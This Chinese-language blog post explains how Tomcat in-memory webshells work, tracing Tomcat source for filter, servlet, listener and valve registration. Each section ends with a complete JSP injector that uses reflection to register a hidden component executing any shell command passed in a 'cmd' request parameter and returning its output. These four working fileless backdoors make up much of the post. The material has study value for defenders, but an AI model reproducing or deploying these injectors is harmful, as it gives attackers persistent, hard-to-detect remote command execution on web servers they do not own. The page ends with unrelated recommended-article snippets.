tomcat内存马原理解析及实现
内存马
简介
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
类型
目前分为三种:
Servlet-API型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如tomcat的valve内存马- filter型
- servlet型
- listener型
字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
spring类
- 拦截器
- Controller型
基础知识
JAVA web 三大件
Tomcat基本架构
6. 站在巨人的肩膀学习Java Filter型内存马 - bmjoker - 博客园 (cnblogs.com)
Tomcat 中有 4 类容器组件,从上至下依次是:
- Engine,实现类为 org.apache.catalina.core.StandardEngine
- Host,实现类为 org.apache.catalina.core.StandardHost
- Context,实现类为 org.apache.catalina.core.StandardContext
- Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
“从上至下” 的意思是,它们之间是存在父子关系的。
- Engine:最顶层容器组件,其下可以包含多个 Host。
- Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
- Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
- Wrapper:一个 Wrapper 代表一个 Servlet。
0x01 Tomcat filter型内存马
所谓filter内存马,就是在web容器中创建了含有恶意代码的filter,在请求传递到servlet前被拦截下来且执行了恶意代码。因此,我们需要了解filter的创建流程。
由于是tomcat进行创建,因此需要阅读tomcat源码。在pom.xml中添加如下依赖,然后reload maven即可调试tomcat源码
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.52</version>
<scope>provided</scope>
</dependency>
在filter的init函数下断点,看一下调用链,发现是StandardContext处的filterStart方法调用了filter相关方法。
在调用filterStart方法
这里我们可以发现主要是通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。
接下来再看一下调用filterChain.doFilter(servletRequest,servletResponse);的调用栈
可以发现filterchain在这里创建。
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
看一下它的具体代码
for (FilterMap filterMap : filterMaps) {//遍历filterMaps
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)//将filterMaps中的配置实例化为FilterConfig
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);//在filterChain中添加filterConfig
}
filterMaps是web.xml的filter相关配置
如上所述,我们实现filter型内存马要经过如下步骤:(这里原本的filterDef与filterMaps都是通过web.xml解析而来)
- 创建恶意filter类
- 构造相应的filterDef
- 通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。
- 创建一个相应的filterMaps,且将恶意filter放在最前。
具体实现方法:
由于filter的init在应用创建时完成,因此要进行filter内存马的注入,需要在filterChain.doFilter前把相应的filter配置注入。
可以利用任意文件上传来执行jsp脚本实现,也可以尝试反序列化进行代码执行。
【安全记录】基于Tomcat的Java内存马初探 - 简书 (jianshu.com)
//只适用于tomcat8,tomcat7的import包不同
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/24
Time: 19:03
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "shell";
// 获取上下文,即standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//获取上下文中 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//创建恶意filter
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//创建对应的FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
//创建对应的FilterMap,并将其放在最前
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//调用反射方法,去创建filterConfig实例
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//将filterConfig存入filterConfigs,等待filterchain.dofilter的调用
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
获取standard上下文,使用以下方法获取servletContext,而后调用反射机制获取StandardContext
request.getSession().getServletContext();
0x02 Tomcat servlet型内存马
servlet型的内存马原理就是注册一个恶意的servlet,与filter相似,只是创建过程不同。
核心还是看StandardContext
在init filter后就调用了loadOnStartup方法实例化servlet
可以发现servlet的相关信息是保存在StandardContext的children字段。
根据以下代码可知,只要在children字段添加相应的servlet,loadOnStartup就能够完成init。
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if(getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
接下去就要寻找如何添加恶意wrapper至children,找到addchild方法,说明了child需要为wrapper实例
public void addChild(Container child) {
// Global JspServlet
Wrapper oldJspServlet = null;
if (!(child instanceof Wrapper)) {//这里说明了child需要为wrapper实例
throw new IllegalArgumentException
(sm.getString("standardContext.notWrapper"));
}
...
}
寻找创建wrapper实例的代码,发现createWrapper方法
这样创建恶意servlet流程就清楚了
- 创建恶意的servlet实例
- 获取standardContext实例
- 调用createWrapper方法并设置相应参数
- 调用addchild函数
- 为了将servlet与相应url绑定,调用addServletMappingDecoded方法
具体实现
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/25
Time: 14:45
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "servletshell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell123",name);
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
0x03 Tomcat listener型内存马
listener用于监听时间的发生或状态的改变,其初始化与调用顺序在filter之前,
Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener
和原生Java.util.EventListener
。
一般作为webshell,需要对网站发送请求使用Java.util.EventListener。
(31条消息) Listener(监听器)的简单介绍_LrvingTc的博客-CSDN博客_listener
从上述连接可知,listener选择很多。我们选择与request相关的ServletRequestListener。
ServletRequest域对象的生命周期:
创建:访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求。
销毁:服务器已经对该次请求做出了响应。
@WebListener
public class MyServletRequestListener implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent arg0) {
System.out.println("ServletRequest销毁了");
}
@Override
public void requestInitialized(ServletRequestEvent arg0) {
System.out.println("ServletRequest创建了");
}
}
来看一下StandardContext的listenerStart()方法。主要是获取ApplicationListeners来实现Listener的初始化与装载。
public boolean listenerStart() {
if (log.isDebugEnabled()) {
log.debug("Configuring application event listeners");
}
// Instantiate the required listeners
String listeners[] = findApplicationListeners();
Object results[] = new Object[listeners.length];
boolean ok = true;
for (int i = 0; i < results.length; i++) {
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Configuring event listener class '" +
listeners[i] + "'");
}
try {
String listener = listeners[i];
results[i] = getInstanceManager().newInstance(listener);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.applicationListener", listeners[i]), t);
ok = false;
}
}
...
}
由此,我们可以通过设置StandardContext的ApplicationListeners字段,实现listener内存马的注入。
StandardContext有addApplicationListener方法。
具体流程
- 创建恶意listener
- 获取StandardContext
- StandardContext.addApplicationListener(listener) 添加listener
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/25
Time: 14:45
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "servletshell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
PrintWriter out= request.getResponse().getWriter();
out.println(output);
out.flush();
out.close();
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
}
};
standardContext.addApplicationEventListener(listener);
%>
<html>
<head>
<title>Title</title>
</head>
<body>
inject listener success!
</body>
</html>
0x04 Valve内存马
Tomcat容器攻防笔记之Valve内存马出世 (qq.com)
tomcat架构分析(valve机制) - 南极山 - 博客园 (cnblogs.com)
在四大容器中,容器之间request的传递是由pipeline串连起来的,而其中的标准valve则存储了invoke方法,实现了具体的逻辑。
如图,是四大容器的标准valve,传递request的流程。
Context中pipeline流程的代码:
context.getPipeline().getFirst().invoke(request, response);//获取context的Pipeline,获取其第一个valve,调用invoke方法。
这样的话,我们可以尝试自己创建恶意valve,重写其invoke方法,添加到四大容器中的pipeline。在发送request时,就能够对其进行操作,执行java代码。
在Pipeline类中找到方法addValve,可以添加valve。
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/24
Time: 19:03
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%!
public final class myvalve implements Valve{
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
return;
}
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
%>
<%
final String name = "shell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
myvalve myvalve = new myvalve();
standardContext.getPipeline().addValve(myvalve);
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
tomcat内存马原理解析及实现的更多相关文章
- Tomcat 内存马(二)Filter型
一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...
- 【免杀技术】Tomcat内存马-Filter
Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...
- Tomcat 内存马(一)Listener型
一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...
- C#的内存管理原理解析+标准Dispose模式的实现
本文内容是本人参考多本经典C#书籍和一些前辈的博文做的总结 尽管.NET运行库负责处理大部分内存管理工作,但C#程序员仍然必须理解内存管理的工作原理,了解如何高效地处理非托管的资源,才能在非常注重性能 ...
- 安卓Android的内存管理原理解析
Android采取了一种有别于Linux的进程管理策略,有别于Linux的在进程活动停止后就结束该进程,Android把这些进程都保留在内存中,直到系统需要更多内存为止.这些保留在内存中的进程通常情况 ...
- Java安全之基于Tomcat实现内存马
Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...
- 6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- Tomcat 架构原理解析到架构设计借鉴
Tomcat 发展这么多年,已经比较成熟稳定.在如今『追新求快』的时代,Tomcat 作为 Java Web 开发必备的工具似乎变成了『熟悉的陌生人』,难道说如今就没有必要深入学习它了么?学习它我们又 ...
随机推荐
- shell循环语句until
until 条件 do 执行命令 done until 循环与 while 循环在处理方式上刚好相反. 当条件成立的时候,停止循环.
- GoLang设计模式05 - 原型模式
原型模式也是一种创建型模式,它可以帮助我们优雅地创建对象的拷贝.在这种设计模式里面,将克隆某个对象的职责交给了要被克隆的这个对象.被克隆的对象需要提供一个clone()方法.通过这个方法可以返回该对象 ...
- adb 常用命令大全(4)- 应用管理
查看应用列表 语法格式 adb shell pm list packages [-f] [-d] [-e] [-s] [-3] [-i] [-u] [--user USER_ID] [FILTER] ...
- TCP协议和套接字
一.TCP通信概述,逻辑连接就是三次握手 二.客户端和服务端实现TCP协议通信基本步骤 1.客户端套接字对象 Socket 2.服务端套接字ServerSocket 客户端补充完整代码:除了创建各自的 ...
- SpringApplication启动-图解
- 消息队列之 kafka 集群搭建
我们先弄清楚kafka集群环境首先需要些什么 JDK 10+ Zookeeper Kafka 2.x 首先准备三台虚拟机 centos7 ,更改IP地址为静态地址分别为,29.30.31 cd /et ...
- 支付宝openssl_sign(): supplied key param cannot be coerced into a private key in
先说一下,生成rsa 私钥 公钥的方法,以ubuntu 为例sudo apt-get install openssl # 先装上这个库genrsa -out rsa_private_key.pem 1 ...
- CentOS Linux 简单安装 clickhouse
本文只是仅仅的介绍安装 至于更多介绍请自信百度 1.本人 linux版本 [root@localhost /]# cat /etc/redhat-releaseCentOS Linux release ...
- windows日志查看与清理
日志查看 (1) 启动Windows实验台,点击:开始 - 控制面板 - 管理工具 - 事件查看器. (2) 应用程序日志.安全日志.系统日志.DNS日志默认位置:%sys temroot%\syst ...
- 微信小程序自动化测试
使用官方工具 使用webview测试方法,当2019年被微信封禁 使用native定位